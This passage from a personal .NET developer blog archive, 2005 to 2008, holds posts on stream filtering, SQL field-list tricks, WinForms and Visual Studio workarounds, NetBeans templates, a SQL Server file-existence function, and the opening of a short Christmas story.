187            _tokenName = tokenName;
188        }
189 
190        private string _tokenName;
191 
192        public string TokenName
193        {
194            get { return _tokenName; }
195            set { _tokenName = value; }
196        }
197    }
198 
199    [global::System.Serializable]
200    public class TokenNotFoundException : Exception
201    {
202        //
203        // For guidelines regarding the creation of new exception types, see
204        // http://msdn.microsoft.com/library/default.asp?url=/library/en-us/cpgenref/html/cpconerrorraisinghandlingguidelines.asp
205        // and
206        // http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dncscol/html/csharp07192001.asp
207        //
208        public TokenNotFoundException() { }
209        public TokenNotFoundException(string message) : base(message) { }
210        public TokenNotFoundException(string message, Exception inner) : base(message, inner) { }
211        protected TokenNotFoundException(
212        System.Runtime.Serialization.SerializationInfo info,
213        System.Runtime.Serialization.StreamingContext context)
214        : base(info, context) { }
215    }
216 
217    public class ABC
218    {
219        [Token("ABCSearch")]
220        public void SearchFor(string tag, State state, string cmdLine, ref string outData)
221        {
222            // do some stuff.
223            outData =
224            string.Format("You called ABC.SearchFor. Parameters were [tag: {0}, state: {1}, cmdLine: {2}]", tag, state.Text, cmdLine);
225 
226       }
227    }
228 
229    public class JKLM
230    {
231        [Token("JklmDoSomething")]
232        public void Dowork1(string tag, State state, string cmdLine, ref string outData)
233        {
234            // do some other stuff.
235            outData =
236            string.Format("You called JKLM.Dowork1. Parameters were [tag: {0}, state: {1}, cmdLine: {2}]", tag, state.Text, cmdLine);
237        }
238    }
239}
240

Filtering a network stream using a wrapper

2008-05-15T16:18:00+00:00

So not that long ago, someone posted a question asking how to deal with a certain situation. The situation is such that there is a network file stream coming from somewhere, that has certain data you want to keep, and certain data you don't want to keep. Control blocks, extra header information, weirdo protocols, too much data coming back from an API, etc...

My suggestion was to create a simple container object (aka wrapper) to the existing network stream, that operates the same as the network stream, but does the necessary filtering.

Here's an example of how you'd use it, and and example base class implementation of for the filters follows it. In the actual problem case example, he was dealing with a NetworkStream that contained XML data in irregular chunks, with control blocks as fixed headers. Each header indicates how much XML data follows. The filter will remove the headers as needed, presenting a simple stream of XML data to the XmlReader to parse.

I've left out the concrete implementation that actually parses the stream, and here you just have the FilteredNetworkStream base class and an idea of how to use it once you implement it. All that's left for the implementer is to override the abstract method FilterBeforeRead, which contains the customized filtering logic for the particular situation.

 1using (NetworkStream inputStream = GetNetworkStreamFromSomewhere())
 2using (StreamWriter outputStream = new StreamWriter(@"C:\Path\To\File.xml", false)) {
 3    XmlReader reader = XmlReader.Create(new FilteredNetworkStream(inputStream)); 
 4    while (reader.Read()) {
 5        // method returns empty string if current data is discardable 
 6        string outputData = GetDesiredDataFromReader(reader); 
 7        if (!string.IsNullOrEmpty(outputData)) {
 8            // save desired data to local file
 9            outputStream.Write(outputData); 
10        }
11    }
12}

Here's the base class:

 1public abstract class FilteredNetworkStream : Stream {
 2    public FilteredNetworkStream(NetworkStream baseStream) {
 3        _baseStream = baseStream; 
 4    }
 5    protected NetworkStream _baseStream; 
 6    public abstract void FilterBeforeRead(); 
 7
 8    #region Stream Implementation
 9    public override bool CanRead {
10        get { return _baseStream.CanRead; }
11    }
12    public override bool CanSeek {
13        get { return _baseStream.CanSeek; }    
14    }
15    public override bool CanWrite {
16        get { return _baseStream.CanWrite; }
17    }
18    public override void Flush() {
19       _baseStream.Flush(); 
20    }
21    public override long Length {
22        get { return _baseStream.Length; }
23    }
24    public override long Position {
25        get { return _baseStream.Position; }
26        set { _baseStream.Position = value; }
27    }
28    public override int Read(byte[] buffer, int offset, int count) {
29        this.FilterBeforeRead(); 
30        return _baseStream.Read(buffer, offset, count); 
31    }
32    public override long Seek(long offset, SeekOrigin origin) {
33        return _baseStream.Seek(offset, origin); 
34    }
35    public override void SetLength(long value) {
36        _baseStream.SetLength(value); 
37    }
38    public override void Write(byte[] buffer, int offset, int count) {
39        _baseStream.Write(buffer, offset, count); 
40    }
41    
42    #endregion    
43}

Getting the field list returned from an ad-hoc Sql query

2008-04-29T18:05:00+00:00

So, recently I needed to make an application that allowed a user to enter an arbitrary SQL query, and elsewhere in the UI I needed to display a drop-down with the fields that this arbitrary query returned. This poses a small problem.

It's very simple if the user is doing simple queries, that don't take long to execute. You could just run the query, then, take the first result, and get the list of fields. Well.. This works for simple queries that return small result sets, but we needed to put in queries that potentially return as many as 48 million results, using complex queries including joins between multi-million rowed tables, aggregates, and that sort of thing..

In other words, the queries are slow. Really slow. They create a lot of UI lag when I go to get the field names for the drop down box.

My first attempt was to take the query and wrap it up like this:

1SELECT TOP(1) * FROM (
2    -- original query here
3    ) fieldNamesTable

My thinking was that if I specified that I only wanted the first record it's be really quick, even with a complex query. This is true. It's must faster, but it's still slow. Too slow. A lot of UI lag still remained.

So, my second attempt worked much better. I wrapped the query again, but now it looks like:

1SELECT * FROM (
2    -- original query here
3    ) fieldNamesTable WHERE 1 = 0

Instead of specifying I wanted the first record, I put a phrase in the WHERE clause that will always be false. The SQL Server's query execution engine realizes that, and so it knows that the query will never be able to return data. So it immediately returns with 0 results. But I get the field names!! This is SUPER fast!

An amusing bout with the DataGridView control

2008-03-24T17:36:00+00:00

As usual, WinForms GUI programming is a terrible PIA. Even worse is the flagship of all controls the great beast known as the DataGridView. Working with the DataGridView bends your mind like offensive cutlery at Uri Geller’s dinner table.

During my most recent encounter with this control of the third kind, I needed to use a ComboBox column, and that column needed to have an effect on the contents of the other controls. Normally, you could just hook up a CellValueChanged event or something of that nature, but that doesn’t work out on a ComboBox control in a DataGridView column. There's no event that would fire when a user selected an item in the dropdown. Only after the user selected the item, then refocused on some other control.

That was annoying. Too many clicks for the user! When I select the item in the dropdown, the row should react, I shouldn’t have to click elsewhere.

So here’s a quick example of what I did to get that working. In the example, we handle the datagridview’s EditControlShowing event, then grab a reference to the combobox, then unwire any previous events we may have hooked up to SelectionChangeCommitted, then wire the event. In the SelectionChangeCommitted event we call _dataGridView.EndEdit() to effect the other rows.

Enjoy!

 1public class Example {
 2    public Example() {
 3        _dataGridView = new DataGridView();
 4        
 5        // setup the datagridview here.
 6        DataGridViewComboBoxColumn fooColumn = new DataGridViewComboBoxColumn();
 7        
 8        fooColumn.Name = "Foo";
 9        fooColumn.ValueType = typeof(String);
10        fooColumn.HeaderText = "Foo";
11        fooColumn.Items.Add("Bar");
12        fooColumn.Items.Add("Baz");
13        fooColumn.Items.Add("Fizz");
14        fooColumn.Items.Add("Buzz");
15        fooColumn.Items.Add("FizzBuzz");
16        fooColumn.DefaultCellStyle.NullValue = "Bar";
17        
18        _dataGridView.Columns.Add(fooColumn);
19        
20        // hook up editing control showing event
21        _dataGridView.EditingControlShowing += new DataGridViewEditingControlShowingEventHandler(_dataGridView_EditingControlShowing);
22        
23        // create a delegate for the method that will handle the event
24        _comboBoxSelectDelegate = new EventHandler(combo_SelectionChangeCommitted);
25    }
26    
27    private DataGridView _dataGridView;
28    private EventHandler _comboBoxSelectDelegate;
29    
30    void _dataGridView_EditingControlShowing(object sender, DataGridViewEditingControlShowingEventArgs e) {
31        // get the control from the event args.
32        ComboBox combo = e.Control as ComboBox;
33        if (combo != null) {
34            // remove the event subscription if it exists.
35            combo.SelectionChangeCommitted -= comboSelectDelegate;
36            // add a subscription to the event
37            combo.SelectionChangeCommitted += comboSelectDelegate;
38        }
39    }
40    
41    void combo_SelectionChangeCommitted(object sender, EventArgs e) {
42        // handle the event, and end edit mode
43        _dataGridView.EndEdit();
44    } 
45}

Black Box OMG it's addictive.

2008-03-08T00:30:00+00:00

BlackBox - A simple puzzle game where you shoot rays of light into a black box, and determine the location of atoms inside the box based on the entry and exit points of the ray.

Seriously addicting.

Here is a Wiki article about it and an online-playable Flash version.

Sharing Menu Items between ToolStrips on a Windows Form

2008-02-13T18:52:00+00:00

So, you may have found yourself building a nice user-friendly, somewhat complicated Windows Forms application, that had lots of drop-down menus and right click context menus, and what not.. You may have naively assumed that you could share your menu items, so that you have a consistent set of options, icons, and more importantly event handlers for a particular menu item or set of menu items.

Well, I did... I had a Tools drop-down menu with some basic functions that I wanted to also be accessible from a right-click content menu on a TreeView. Redundant? Sure... Convenient? Definitely.

There's a little annoying detail that says that a ToolStripMenuItem can't be "owned" by more than one ToolStrip. In other words, it can only be in one place at a time. So, when you do something like this:

1toolsToolStripMenuItem.DropDownItems.Add(myMenuItem); 
2treeNodeContextToolStrip.Items.Add(myMenuItem);

The menu item in question suddenly disappears from the tools menu, and appears in the content menu... Hmm...

So, in order to share the menu item, I came up with this hackish solution....I handled the Opening event for the two menu strips and in each one, "took ownership" of the menu item. So, through sleight-of-hand it seems to exist in one place at a time. We can only get away with this because, ToolStrips, being modal, only show one at a time.

So, here's a simple sample:

1private void treeNodeContextMenuStrip_Opening(object sender, CancelEventArgs e) {
2   treeNodeContextMenuStrip.Items.Insert(3, myToolStripMenuItem); 
3}
4private void toolsToolStripMenuItem_DropDownOpening(object sender, EventArgs e) {
5   this.toolsToolStripMenuItem.DropDownItems.Insert(5, this.myToolStripMenuItem); 
6}

ASP.NET Gridview SelectIndexChanged event not firing

2007-11-15T15:50:00+00:00

If, you find yourself in the unfortunate position of having a dynamically created Gridview control in your ASP.NET page AND needing to handle the SelectedIndexChanged event... as I was, you may find yourself banging your head against the monitor trying to understand why the event isn't getting fired.

Well, dear reader, that's because you didn't set the Gridview.ID property, and when the callback for the event is fired, it does that by ID/parameters. The parameters are there, but the ID isn’t. So it can't find your control, therefore it can't fire the event.

So, always assign the ID of dynamically generated ASP.NET controls!

Changing Visual Studio Item Templates

2007-10-11T21:05:00+00:00

So, Visual Studio is pretty great right? It makes a lot of things really easy, really automated... saves a lot of typing, etc... However, there are still some areas where people find themselves repetatively doing the same thing in certain scenarios.

For example — Making a new class.

Now, usually one would just right-click on my project list, Add..., New Item, then you are presented with an array of the available Item Templates. So, then you would select Class, rename it and be presented with this result:

 1using System;
 2using System.Collections.Generic; 
 3using System.Text; 
 4
 5namespace MyNamespace
 6{
 7   class Class1
 8   {
 9   }
10}

The first thing many will do, is perform a bunch of tweaks to make it formatted the way they like it. Perhaps change the class name, set it to public, create an empty constructor, define code regions to keep things organized, etc... and end up with something like this:

 1using System; 
 2using System.Collections.Generic; 
 3using System.Text; 
 4
 5namespace MyNamespace {
 6
 7    public class Class1 {
 8   
 9        #region Constructors
10
11        public Class1() {
12            Init(); 
13        }
14     
15        /// <summary>
16        /// Initializes field values.
17        /// </summary>
18        private void Init() {
19        
20        }
21
22        #endregion Constructors
23     
24        #region Fields
25        #endregion Fields
26     
27        #region Properties
28        #endregion Properties
29     
30        #region Public Methods
31        #endregion Public Methods
32        
33        #region Private Methods
34        #endregion Private Methods
35    }
36}

WHOA! now I'm not personally a fan of regions and think the private Init() method used here is terrible... but I'm not here to judge that. To each thier own. However, if there are things like this that you do for every class... Well, that takes quite a bit of typing. FOR EVERY CLASS YOU WRITE!!

Visual Studio obviously has some template somewhere that controls it's default layout. Let's go figure out how those templates work.

Where are the files at?

The templates are stored in your Visual Studio installation directory. If you're like me, and running a fairly recent version of Visual Studio 2005, installed with default configuration, your install directory will probably be:

C:\Program Files\Microsoft Visual Studio 8\

and the templates are stored in:

C:\Program Files\Microsoft Visual Studio 8\Common7\IDE\ItemTemplates

Under that directory you'll find subdirectories for each classification of template (CSharp, JSharp, VisualBasic, etc... ) and in each of those subdirectories, you'll find a zip file for each template.

For what we want to fix, we are looking for this file:

C:\Program Files\Microsoft Visual Studio 8\Common7\IDE\ItemTemplates\CSharp\1033\Class.zip

Sidenote: Notice that the last subdirectory in the path is the language code 1033 (English) and if you've installed windows/vs with a different language, this will be different.. this is one reason you may not see your default templates when working across languages (ie, windows is in spanish, and visual studio is installed from the English language version, but is configured to be in Spanish; templates will be missing!!

In the Class.zip file, you will find two files; Class.cs and Class.vstemplate

Class.vstemplate

Class.vstemplate is just an XML file. This contains information about the template, such as what GUID to lookup for the icon to display in the wizard screen, what the sorting order is, what assemblies it references, etc.. For the most part, unless your doing something more complicated than what I want to do, you won't need to edit this. One tag to pay attention to is:

1<ProjectItem ReplaceParameters="true">
2Class.cs
3</ProjectItem>

This tag says that VS should make a new project item based on Class.cs, and it should parse the file and replace the parameter tokens in it with the appropriate values... So let's look at Class.cs:

Class.cs

Class.cs is the templated code file. The default file looks like this:

 1using System; 
 2using System.Collections.Generic; 
 3using System.Text;
 4
 5namespace $rootnamespace$
 6{
 7    class $safeitemrootname$
 8    {
 9    }
10}

So this is the normal new empty class, and the tokens $rootnamespace$ and $safeitemrootname$ are what will get replaced when VS parses the file and passes in the parameters. Well, I don't know anything about those parameters... So I'm not going to mess with them. However, I did go make a list of the parameters I found in the default templates ( I could not find a list of these parameters on the net anywhere...)

$rootnamespace$
$safeitemrootname$
$registeredorganization$
$year$
$guid1$
$ContentTags$
$MasterPage$
$fileinputname$
$classname$
$safeitemname$

So I modified Class.cs to be:

 1using System; 
 2using System.Collections.Generic; 
 3using System.Text; 
 4
 5namespace $rootnamespace$ {
 6
 7    public class $safeitemrootname$ {
 8
 9        #region Constructors
10        
11        public $safeitemrootname$() {
12            Init(); 
13        }
14        
15        /// <summary>
16        /// Initializes field values.
17        /// </summary>
18        private void Init() { }
19
20        #endregion Constructors
21        
22        #region Fields
23        #endregion Fields
24        
25        #region Properties
26        #endregion Properties
27        
28        #region Public Methods
29        #endregion Public Methods
30        
31        #region Private Methods
32        #endregion Private Methods
33    }
34}

Yay! my fingers are saved... but what you say? all my base are NOT belong to us? True. Someone set us up the cache.

Refreshing the Visual Studio Template Cache

The template files are cached in a folder called TemplateItemCache in the same location as the template folder. So...

Close all Visual Studio Windows
Clear contents of TemplateCache folder
Open a DOS prompt (normal one, or Visual Studio 2005 Command Prompt)
Run devenv /installvstemplates (if that doesn't work, run devenv /setup)

Now, when you restart Visual Studio, your new templates will be installed... BUT! the fun doesn't stop here! The same templating structure for items also applies to projects! But that's next post...

Code Snippet: PrintObject

2007-07-10T16:30:00+00:00

Following up on the same idea as the ListEnum code snippet, this is a method I often use to print the properties of an object to the console.

I write a number of small command-line utilities and typically, I create a "property bag" type of object that contains all of the possible command-line options. Just before execution, I like to display the options to the user, so that they know that the program knows what they meant by the command-line options.

Here's the code that does that:

 1private static void printObject(object obj) {
 2
 3  PropertyInfo[] pia = obj.GetType().GetProperties(); 
 4
 5  foreach (PropertyInfo pi in pia) {
 6    Console.WriteLine( pi.Name.PadRight(16, ' ') +
 7    ": " +
 8    pi.GetValue(obj, null).ToString()); 
 9  }
10}

This could, of course, be used for any scenario where you want to inspect the values of the properties on an object. If you were so inclined, this could easily be expanded to have a lot more detail, handle arrays, print the type name of the object, etc.. I have various permutations of this method that do some or all of that as needed. I have considered turning this into a class with all those fiddly bits configurable, but haven't gotten around to it yet... If I ever do, I'll post it here!

IComparable and Egocentrism

2007-06-08T05:58:00+00:00

Today, on the ride home from work on the MAX train (local light-rail here in Portland, OR), I overheard a girl talking to some young Hispanic men. She was babbling on in a typically "White American" way, about cultural differences, and how "We're really more alike than we are different." and that popular media tries to force differences down our cultural throats through advertisements and TV (evil incarnate).

While her stance is in many ways similar to my own thinking, I still felt compelled to consider how I would respond if I were having the conversation with her... It would go something like this...

Why do we put such a fine point on our differences? Why do we go to war over skin colours, eating habits, clothing choices, and other such nonsense? Because human beings are intrinsically scared shitless of sameness. Internally, we must compare everything. We are so bound up in the process of comparison logic, that it permeates our every action. Is this bad or good? Better or worse? Bigger or smaller? Subordinate or superordinate? Our base class is IComparable.

These thoughts consume our lowest level drives.. To be a good person.. To get ahead in life... To be comfortable (as opposed to NOT comfortable, and any degree of comfortable is better than any degree of uncomfortable). To be powerful.. not just powerful, but specifically more powerful than you were before, or more powerful than the other guy.

So we focus on our differences, because through our differences we can find something, anything to make us special, better, to return 1 on our CompareTo() call for at least one property.

This got me to thinking about the implementation of IComparable in .NET/C#. Isn't it quite egocentric? To presume that the scope of knowledge within a single object type is sufficient to allow it to be compared to any other type? To consider that I know how to compare myself to any other thing, even if I don't know what that thing is? That notion is quite absurd. What I find interesting about the implementation is the CompareTo() takes an untyped object as a parameter. Doesn't it follow that an object of a given type should only be able to compare itself to something else of the same type? That in order to compare to an object of some other type it must at least be able to be converted to that type first, so that it can be compared on equal terms?

There's a lot of discussion about that implementation. It could be argued that it's valid, but nonetheless, it's completely egocentric. How do you resolve a scenario, where both foo.CompareTo(bar) and bar.CompareTo(foo) both return 1? Which one sorts higher in the call to SortedList.Sort()? or do they simply not change position relative to one another ever? So first come first serve?

What if IComparable worked differently? I envision it this way... Image a static object called System.Judge. System.Judge has a method Compare which takes any two objects that implement IComparable. The interface for IComparable requires the object to maintain a property CompareValues which contains a list of all the values it maintains that it is willing to offer up during comparison, organized by Type, Name, Value. The Judge accesses foo.CompareValues.Types to get a list of types that it is willing to be compared to. Judge calls that from both objects, until it finds a list of compatible types to start comparison with. For all comparable matching types, a comparison result is achieved, and then an average of comparison is evaluated, and the object with the highest average of comparison success is considered the victor. The CompareTo() call would naturally be nested calls on the various IComparable types presented until finally a value type with a fixed, built-in comparision method is found and stops the nesting compare calls.

This sytem would of course be more complicated, and require a lot more processing for each call, resulting in much slower performance.. Ah but the logic would be sound, and that, my friends, is much more valuable than processing time.

Good night.

Disable Design-Time Support in Visual Studio

2007-06-01T00:52:00+00:00

I recently wrote a class in C# that inherits from System.Diagnostics.Process. This class abstracts a shelling-to-disk process that I need to do. Something like this:

1public class MyShellTask : Process {
2  // ...
3}

One thing that bugged me to no end is that, in Visual Studio, when you double click the file in the Solution Explorer, it considered it "designable" even though there was no designer. So that means I got a empty page every time, telling me that it was not designable, with a link to View Code. Well, View Code is what I wanted, not View Designer, when I double-clicked!

So after getting very frustrated, I did the natural thing.. I Googled looking for an answer. I had a notion that I could control this behaviour through Attribute tags on the class if only I knew the right one. Having made designable components before I was familiar with the attributes used for that. I tried fiddling about with Intellisense, Googling, all to no avail... Nothing worked! Nothing showed up in my Google searches! Good God! What to do now?

Fiddle some more... until finally I found the right attribute:

1[System.ComponentModel.DesignerCategory("")]
2public class MyShellTask : Process {
3   // ... 
4}

Note that you must call this with an empty string (don't believe the intellisense comment, an empty constructor call will NOT do the same as calling the constructor with an empty string.) This sets it to a non-category that it doesn't know how to deal with, and so doesn't offer designer support to you!

This also helps other classes (like say installers) which exhibit the same annoying VS UI problems... ie:

1/// <summary> 
2/// Custom Installer actions for this project. 
3/// </summary>
4[RunInstaller(true)]
5[System.ComponentModel.DesignerCategory("")]
6public partial class MyInstaller : Installer {
7  // ... 
8}

Hope that helps someone! Now there will be at least ONE hit if someone googles up "disable design-time support" or "disable designer support" like I did!

Java, NetBeans, and Templates, OH MY!

2007-05-09T05:53:00+00:00

Well, having recently sparked an interest in moving towards a Open Source, cross platform, but still as cool as C#/VS2005 development platform, I of course landed in the middle of NetBeans 5.5 and Java.

Having never programmed in Java before, but understanding it's really similar to C# (or I should say C# is really similar to Java), I immediately started fiddling about as if I were writing C# code. So, it's easy to get past typing uppercase String, not lowercase, and also not too hard to grok extends instead of : for inheritance. The one-class-per-file thing, well, I guess it will just make me a more organized programmer, however annoying it is. Actually, I ended up just learning to do the same thing in C#, which has really been better...

But, the things that really erked me was properties.

In C# I can do this:

 1// ...
 2
 3private string _name; 
 4
 5public string Name
 6{
 7    get
 8    {
 9        return this._name; 
10    }
11    set
12    {
13        this._name = value; 
14    }
15}
16
17// ...

but in Java, that looks like:

 1// ...
 2
 3private String _name; 
 4
 5public String getName() {
 6    return this._name; 
 7}
 8
 9public void setName(string value) {
10    this._name = value; 
11}
12
13// ...

Wow. Extremely obnoxious. Furthermore, I have finally gotten myself broken in with the VS2005 IDE to type "prop" + TAB to get a nice template for my properties. Well, since there is no such thing in Java, this macro also does not exist. So, I proceeded to make a NetBeans code template called prop, which functions the same way the VS2005 prop code snippet does.

So, for all you C# coders who are venturing into the foreign lands of Java, here's a little tutorial on how to add this little cultural comfort into NetBeans.

Property Code Template Installation Instructions:

Select menu item Tools->Options.
Click on Editor sidebar button.
Click on Code Templates tab.
Select Java from languages combo-box.
Click New, and then enter prop as the Abbreviation in the dialog.
Click Ok.
Make sure prop is the selected template, and in the text box below the list, enter these lines:

```java
private ${int} ${_prop}; 

public ${int} get${Property}() {
    return this.${_prop}; 
}

public void set${Property}(${int} value) {
    this.${_prop} = value; 
}
```

Select Tab from Expand On combo box.
Click OK.

Now you've got it installed... Feel free to go to the code and give it a whirl! Have a look at the other macros in the list to see what's built in, and once you figure out the syntax of the template notation, make your own templates!

Code Snippet: ListEnum

2007-02-16T05:45:00+00:00

Sometimes you want to list an Enum and see what it's actual numeric values are...

Well sometimes I do anyway, and when I do, I use:

 1private static void ListEnum(Type _enum) {
 2  
 3  Console.WriteLine("enum " \+ _enum.Name); 
 4  Console.WriteLine("{");
 5  
 6  string[] foo = Enum.GetNames(_enum); 
 7  Array bar = Enum.GetValues(_enum); 
 8  
 9  for(int i =0;i<foo.Length;i++) {
10    Console.WriteLine( foo[i] + " = " \+ ((int)bar.GetValue(i)).ToString() + "," ); 
11  }
12  
13  Console.WriteLine("}");
14}

Enjoy!

Code Snippet: SQL FileExists

2007-02-14T23:46:00+00:00

Today in the course of my work, I came across a situation where some of the files referred to in our SQL database were not actually on disk where we thought they were.

This was a largeish database of files (over 10,000), and we thought there might be as many as 1600 files missing, so I didn't want to go through each one manually to find the missing files. That led me to this solution: creating a function in SQL to check if the files exist.

The first method I tried for doing this used an undocumented system stored procedure in MSSQL, called xp_fileexist. The code for that looks like this:

1-- using MSSQL built-in stored proc xp_fileexist
2CREATE FUNCTION FileExists(@File varchar(255)) RETURNS BIT AS
3BEGIN
4DECLARE @i int
5EXEC master..xp_fileexist @File, @i out
6RETURN @i
7END

It's a pretty simple wrapper around the stored-procedure. Implementing it as a function provides a more versatile tool for querying however, as shown in this example usage:

1--- usage
2SELECT *
3FROM tbl_FileInformation
4WHERE (dbo.FileExists(PathAndFile) = 'True')

Unfortunately, this didn't do the trick for us at that time. MS SQL server apparently cannot, under any circumstances, see mapped drives. All of our data was on a drive called P:, which was mapped to a network accessible storage device, that our whole company uses. Not to be discouraged, I thought to myself "Well, perhaps it's just a limitation of the xp_cmdshell options, not SQL server as a whole. May there's another way of finding this out...". So that led me to write this next function, which uses Scripting.FileSystemObject via the OLE Automation Options. First things first, I needed to run the following commands to enable OLE Automation, to make it possible:

1-- configuring for use of scripting object
2sp_configure 'show advanced options', 1; 
3GO RECONFIGURE; 
4GO sp_configure 'Ole Automation Procedures', 1; 
5GO RECONFIGURE; 
6GO

That's the SQL native way, the other option is to use Surface Area Configuartion and enable it via the check-box. Once that was out of the way, I could try out my function...

 1-- Using the scripting object
 2CREATE FUNCTION FileExists(@File varchar(255)) RETURNS BIT AS
 3BEGIN
 4declare @objFSys int
 5declare @i int
 6
 7exec sp_OACreate 'Scripting.FileSystemObject', @objFSys out
 8exec sp_OAMethod @objFSys, 'FileExists', @i out, @File
 9exec sp_OADestroy @objFSys
10
11return @i
12END

But... unfortunately, this gave the same results.

So, the moral of the story? Kids, MS SQL just can't see mapped drives. Give it up now!

That said, UNC paths work fine and if you're lucky enough to have all your data on a drive that's local to the SQL server, and find yourself needing to know if a file you've got referenced still exists, then give these methods a try! YMMV.

** Update **: Well, duh, what I wasn't paying attention to at the time was that the mapped drive wasn't mapped on the SQL server. If this was true, it probably would have worked. Either way -- storing absolute paths in the database, if they aren't UNC paths, is just asking for trouble.

vista sidebar on XP 2

2007-02-08T13:45:00+00:00

Well, I was very excited about getting the Vista sidebar to work on XP, until I started playing with the Gadgets.

It turns out the patched version of the Sidebar executable is from a early beta version of Vista. The unfortunate point about that, is that the Gadgets that work with the XP version are vastly different than the Gadgets for the released version of Vista. That means all the gadgets that you can download don't work with the XP version. It also means that all the information about developing Gadgets for the Sidebar is relevant to the Vista version, not the XP version.

To detail some of the differences:

In the early release, Gadgets are not even called Gadgets, they are called Parts. Parts and Gadgets are very similar, in that they both are a zip file containing what amounts to a mini-webpage which is loaded and interpreted by the Sidebar.

In the XP version, a Part is a zip file with the extension changed to .part, in Vista the extension is .gadget. In XP, the directory where those files are stored is %userdir%\Parts, in Vista it's %userdir%\AppData\Local\Microsoft\Windows\SidebarGadgets.

Parts require a Manifest.XML file, while Gadgets require a Gadget.xml file. The contents of those files, while containing nearly the same data, use different names for all the tags, making them not compatible.

Beyond that there are a number of other subtle differences, as well as a generally limited set of functionality in the XP version, as compared to the released Vista version.

So, that poses a question? Considering the large amount of people who aren't interested in upgrading to Vista, due to performance or cost issues, or just not wanting to uproot and start again, is it worth my time to develop for this patched version of the Vista sidebar? Is there a substantial user-base that would benefit from having more cool Gadgets, I mean Parts, to run in their XP Patched Vista Beta Sidebar?

Perhaps that's a bigger niche than one would initially imagine.

Well, until I have an install of Vista to run the release version, providing a development environment for generating good Gadgets, I may just amuse myself with by playing with potentially pointless Parts.

vista sidebar on XP

2007-02-08T03:32:00+00:00

So, I was perusing codeproject.com and I came across their current Vista Gadgets Competition. Well, this sparked my interest, not because I am interested in prizes, but because until now, I hadn't heard of Gadgets, or the Vista Sidebar, or really much about Vista at all.

The reason for this is that, I, being slightly conservative regarding willy-nilly-ly installing new OSes as soon as they are available, choose to upgrade by force, only when absolutely unable to do otherwise. That means, I'm running Windows XP. So what is a developer to do now that his interest is piqued? Install Vista so I can play with Gadgets and the mystical sidebar? No! I, of course, choose to google up a nice patched version of sidebar.exe that can run on XP!

Woohoo! I'm excited to say, that this not only works, but works without a hitch. I was able to install and run the Vista Sidebar on XP in mere moments. And that also means I can fiddle with widgets, oops I mean Gadgets. ;)

See my next few posts for more information about Gadgets... But before you do, download the XP version of Windows Sidebar so you can join in the fun too!

Links and knowledge courtesy of MSTN and their article about this, which I found out about by reading this blog post on My Digital Life.

self-stabilization and dijkstra

2007-02-07T04:50:00+00:00

So, upon creating this blog, the first thing I felt obliged to do was to show it off to my roommate and idea-raquetball partner Max Strini (his blog).

His first reaction was "that's sort of militant". Probably in reference to the original name for the blog, Vanguard Against Confusion. The term vanguard is generally used to refer to an aggressive front-line force of some sort. I concurred, but still felt I had made a good choice.

Max then immediately hijacked my computer, launched a new firefox window, and began googling up and mumbling unrecognizable names. Dijkstra, The Humble Programmer, and How do we tell truths that might hurt? suddenly appeared and were read out-loud to me by my excited friend and companion.

He was right!

How fascinating was Dijkstra? Fascinating enough that, even though I had worked 13 hours straight, eaten almost nothing all day, and have a beautiful wife and 1.5 week old child waiting for me, I felt compelled to click about and read more.

I came across self-stabilization and it occurred to me, that the impetus behind creating this blog is a form of self-stabilization. In one sense, it's my own self-stabilization, in which I will divest and store the processes by which I created order from confusion in my daily life, providing a resource which I could use to reduce the amount of overhead needed to repeat these feats. But secondly, it is self-stabilization as and unconscious process of the online tech-blogging community.

I rely heavily on the blogged accounts of problem-solving that others so diligently post for all the world to see. The first thing I do when I encounter a new and challenging problem is to check and see who has dealt with this problem before, and what did they do? What solutions are already available in the vast spray of information available from public search engines?

Most of the valuable information I find is not the official formal documentation provided by the institutions that created the technologies, detailing every facet of the system with excrutiating thoroughness, but rather the anecdotal, code-snippetted, hyper-linked, semi-stable accounts posted by my unknown peers battling the same dragons. From these bits, I learn how to use the vast and morbid technology describing in the aforementioned chronicles of specificata.

So this blog, is self-stabilization for the blogging culture in which I so heavily rely. If there were no blogs to read, how would I solve many of those problems? Isn't it my duty to give back to that system? Shouldn't I also serve to stabilize this information vortex and let other reap from my trouble-shooting bounty?

Indeed. I should.

a startlingly quick birth

2007-02-07T02:23:00+00:00

Creating this blog today was extremely simple. I am duely impressed.

A Ghost Of Christmas Past

2005-12-23T00:00:00+00:00

Note: A work of fiction, originally written for The Salem Monthly Newspaper

Dear reader, I would like, if I may, to relate a story to you. It's a story you may not believe, and to be sure, if it had not happened to me, I would not believe it myself. I am not a man who is usually given to flights of fancy, or other whimsical excursions of the mind. So, please consider the tale that I tell now to be the truth, as far as I can measure it.

Having completed my work for the night, I closed my books, turned off the lights, and left out the back door. It was unseasonably warm this year, and as I opened my umbrella, instead of snow, I was treated to the steady, lazy rain that defines an Oregon winter. I walked north along the sidewalk, the chill seeping in through the seams in my jacket, in a familiar but nonetheless unwelcome way. It was Christmas Eve, and I was in no hurry to return to my empty flat above the tavern on the corner of Liberty and High streets.

I found myself on a bridge, on Winter Street, looking down at Mill Creek. I stared at those quickly moving waters flowing beneathe me, and thought of Hamlet's Ophelia, and how she must have felt, shortly before tossing herself into the river, her eyeballs wild, with a crazed desire to end her life. For a moment, I leaned over the edge of the railing and considered how easy it would be to resign myself to the same fate. But as I said, I am a serious man, and after only a moment of dark desire flitting through my mind, I pulled back from the railing, and composed myself, preparing to continue my walk home.

Just then, I head a noise to my left. It sounded like men, shouting and laughing, yelling "Hoia hai" over and over again, in a melodious way. I turned, and found myself face to face, eyeball to quivering eyeball with a very large white owl. I let out a stifled scream, and stumbled backwards, dropping my umbrella. I felt my feet slip from beneathe me, and my midriff hit hard, as I crashed into the bridge's stone railing. I tried to stop the inevitable. With arms flailing, I felt my weight shift the wrong direction and my stomache knotted up as I fell backwards, grasping at the slippery rail, plunging into the swift, cold waters of Mill Creek.

I remember the owl staring down at me as I fell, "Hoia hai" echoing in my ears and a blinding flash of light as my head hit a rock and my body thudded against the muddy bank. When I awoke, I was frozen solid and could barely lift my arm to wipe the mud from my eyes. A light snow had begun to fall, and to my surprise, I could no longer see the bridge I had fallen from. I climbed the slippery bank, and found myself in a forest, no houses or streets in sight. I looked at the direction that the water in the creek was flowing, and I know it was flowing towards the river. So I followed the creek downstream, knowing it would bring me to the centre of town.

